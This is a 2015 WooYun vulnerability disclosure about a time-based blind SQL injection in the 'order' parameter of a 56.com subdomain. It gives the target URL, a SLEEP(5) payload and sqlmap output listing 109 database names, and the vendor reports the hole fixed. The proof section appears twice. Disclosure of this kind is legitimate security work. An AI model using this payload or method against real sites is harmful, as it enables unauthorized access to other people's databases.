56网某站站点SQL注入漏洞109个库

发表于 2015年07月17日
WooYun漏洞库

漏洞概要

缺陷编号：WooYun-2015-0127431

漏洞标题：56网某站站点SQL注入漏洞109个库

漏洞详情

披露状态：

2015-07-17: 细节已通知厂商并且等待厂商处理中
2015-07-17: 厂商已经确认，细节仅向厂商公开
2015-07-27: 细节向核心白帽子及相关领域专家公开
2015-08-06: 细节向普通白帽子公开
2015-08-16: 细节向实习白帽子公开
2015-08-31: 细节向公众公开

简要描述：

#Nowall#

详细说明：

dv.56.com/hongren/?do=AjaxAdsData&order=11&pn=1&ps=12&type=12参数order<br>
sqlmap没跑出来1=1盲注，就不写payload了

1 2	dv.56.com/hongren/?do=AjaxAdsData&order=11&pn=1&ps=12&type=12参数order<br> sqlmap没跑出来1=1盲注，就不写payload了

漏洞证明：

---<br>
Parameter: order (GET)<br>
    Type: AND/OR time-based blind<br>
    Title: MySQL >= 5.0.12 AND time-based blind<br>
    Payload: do=AjaxAdsData&order=11 AND SLEEP(5)&pn=1&ps=12&type=12<br>
---<br>back-end DBMS: MySQL 5.0.12current user: '[email protected]%'available databases [109]:<br>
[*] `56youth`<br>
[*] `ask and answer`<br>
[*] `hd`caihong_2011`<br>
[*] alan<br>
[*] ayumi<br>
[*] bak_lyhiving<br>
[*] btws<br>
[*] caihong<br>
[*] caihong_60plus<br>
[*] caihong_arborday<br>
[*] caihong_gongyi<br>
[*] channel<br>
[*] channel_huodong_2012<br>
[*] coco<br>
[*] daxiaoyifang<br>
[*] disney<br>
[*] djyx<br>
[*] dvspy<br>
[*] end_year_2012<br>
[*] endyear2013<br>
[*] fcwr2011<br>
[*] fun_top<br>
[*] games2009<br>
[*] girl09<br>
[*] guanwang_ayu<br>
[*] guanwang_boa<br>
[*] guanwang_chris<br>
[*] guanwang_david<br>
[*] gz2010<br>
[*] hd_funny2012<br>
[*] hd_gz2010<br>
[*] hd_gz2010_photo<br>
[*] hd_ndshipin<br>
[*] hd_wahaha<br>
[*] hd_xzb<br>
[*] hd_yulerili_2011<br>
[*] heishehui<br>
[*] hitea<br>
[*] hsm<br>
[*] hubei<br>
[*] huodong_2012_biye<br>
[*] huodong_2012_dreamlist<br>
[*] huodong_361<br>
[*] huodong_60years<br>
[*] huodong_60years_hgh<br>
[*] huodong_60years_tv<br>
[*] huodong_asia<br>
[*] huodong_asia_old<br>
[*] huodong_baby_cartoon<br>
[*] huodong_baby_cartoon_2010<br>
[*] huodong_baby_fengmian<br>
[*] huodong_brand<br>
[*] huodong_byd<br>
[*] huodong_crazysurvival<br>
[*] huodong_dlhc<br>
[*] huodong_hongren<br>
[*] huodong_interview<br>
[*] huodong_jiehun<br>
[*] huodong_missinter<br>
[*] huodong_oscar<br>
[*] huodong_paike<br>
[*] huodong_qmjs<br>
[*] huodong_roc<br>
[*] huodong_school<br>
[*] huodong_school_visionyouth<br>
[*] huodong_szy_2011<br>
[*] huodong_tybros<br>
[*] huodong_tydr<br>
[*] huodong_xgdd<br>
[*] huodong_ycsyl<br>
[*] huodong_ycsyl_syl2012<br>
[*] huodong_zbc<br>
[*] huodong_zgzqy_2013<br>
[*] huodong_zjh<br>
[*] information_schema<br>
[*] jiemu<br>
[*] melon_wp<br>
[*] mothersday<br>
[*] music_best<br>
[*] mxyh<br>
[*] mysql<br>
[*] mystyle<br>
[*] new_mm<br>
[*] new_spec_sys<br>
[*] olympic_2012<br>
[*] paike<br>
[*] performance_schema<br>
[*] shanliang<br>
[*] she<br>
[*] special<br>
[*] super<br>
[*] tb2014<br>
[*] tellstory<br>
[*] test<br>
[*] topic<br>
[*] topmusic<br>
[*] uaction_video<br>
[*] weekly<br>
[*] world_cup_2010<br>
[*] worldcup_game<br>
[*] xing<br>
[*] xy<br>
[*] ycsyl2014<br>
[*] yeah<br>
[*] yyj<br>
[*] zhibo<br>
[*] zyhl

100

101

102

103

104

105

106

107

108

109

110

111

112

113

---

Parameter: order (GET)

Type: AND/OR time-based blind

Title: MySQL >= 5.0.12 AND time-based blind

Payload: do=AjaxAdsData&order=11 AND SLEEP(5)&pn=1&ps=12&type=12

--- back-end DBMS: MySQL 5.0.12current user: '[email protected]%'available databases [109]:

[*] `56youth`

[*] `ask and answer`

[*] `hd`caihong_2011`

[*] alan

[*] ayumi

[*] bak_lyhiving

[*] btws

[*] caihong

[*] caihong_60plus

[*] caihong_arborday

[*] caihong_gongyi

[*] channel

[*] channel_huodong_2012

[*] coco

[*] daxiaoyifang

[*] disney

[*] djyx

[*] dvspy

[*] end_year_2012

[*] endyear2013

[*] fcwr2011

[*] fun_top

[*] games2009

[*] girl09

[*] guanwang_ayu

[*] guanwang_boa

[*] guanwang_chris

[*] guanwang_david

[*] gz2010

[*] hd_funny2012

[*] hd_gz2010

[*] hd_gz2010_photo

[*] hd_ndshipin

[*] hd_wahaha

[*] hd_xzb

[*] hd_yulerili_2011

[*] heishehui

[*] hitea

[*] hsm

[*] hubei

[*] huodong_2012_biye

[*] huodong_2012_dreamlist

[*] huodong_361

[*] huodong_60years

[*] huodong_60years_hgh

[*] huodong_60years_tv

[*] huodong_asia

[*] huodong_asia_old

[*] huodong_baby_cartoon

[*] huodong_baby_cartoon_2010

[*] huodong_baby_fengmian

[*] huodong_brand

[*] huodong_byd

[*] huodong_crazysurvival

[*] huodong_dlhc

[*] huodong_hongren

[*] huodong_interview

[*] huodong_jiehun

[*] huodong_missinter

[*] huodong_oscar

[*] huodong_paike

[*] huodong_qmjs

[*] huodong_roc

[*] huodong_school

[*] huodong_school_visionyouth

[*] huodong_szy_2011

[*] huodong_tybros

[*] huodong_tydr

[*] huodong_xgdd

[*] huodong_ycsyl

[*] huodong_ycsyl_syl2012

[*] huodong_zbc

[*] huodong_zgzqy_2013

[*] huodong_zjh

[*] information_schema

[*] jiemu

[*] melon_wp

[*] mothersday

[*] music_best

[*] mxyh

[*] mysql

[*] mystyle

[*] new_mm

[*] new_spec_sys

[*] olympic_2012

[*] paike

[*] performance_schema

[*] shanliang

[*] she

[*] special

[*] super

[*] tb2014

[*] tellstory

[*] test

[*] topic

[*] topmusic

[*] uaction_video

[*] weekly

[*] world_cup_2010

[*] worldcup_game

[*] xing

[*] xy

[*] ycsyl2014

[*] yeah

[*] yyj

[*] zhibo

[*] zyhl

修复方案：

fix

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2015-07-1719:25

厂商回复：

已修复

评价

2010-01-01 00:00 null_z 白帽子 | Rank:879 漏洞数:75)
首页上洞都是你的，仙子要冲榜～～～
2010-01-01 00:00 紫霞仙子白帽子 | Rank:885 漏洞数:70)
@null_z 今天峰会啊！
2010-01-01 00:00 JGHOOluwa 白帽子 | Rank:5 漏洞数:1)
@紫霞仙子仙子收徒不~~
2010-01-01 00:00 BeenQuiver 白帽子 | Rank:50 漏洞数:6)
发现你要么中ajax，要么api啊
2010-01-01 00:00 紫霞仙子白帽子 | Rank:885 漏洞数:70)
@BeenQuiver 悄悄的

原文连接：56网某站站点SQL注入漏洞109个库 所有媒体，可在保留署名、原文连接的情况下转载，若非则不得使用我方内容。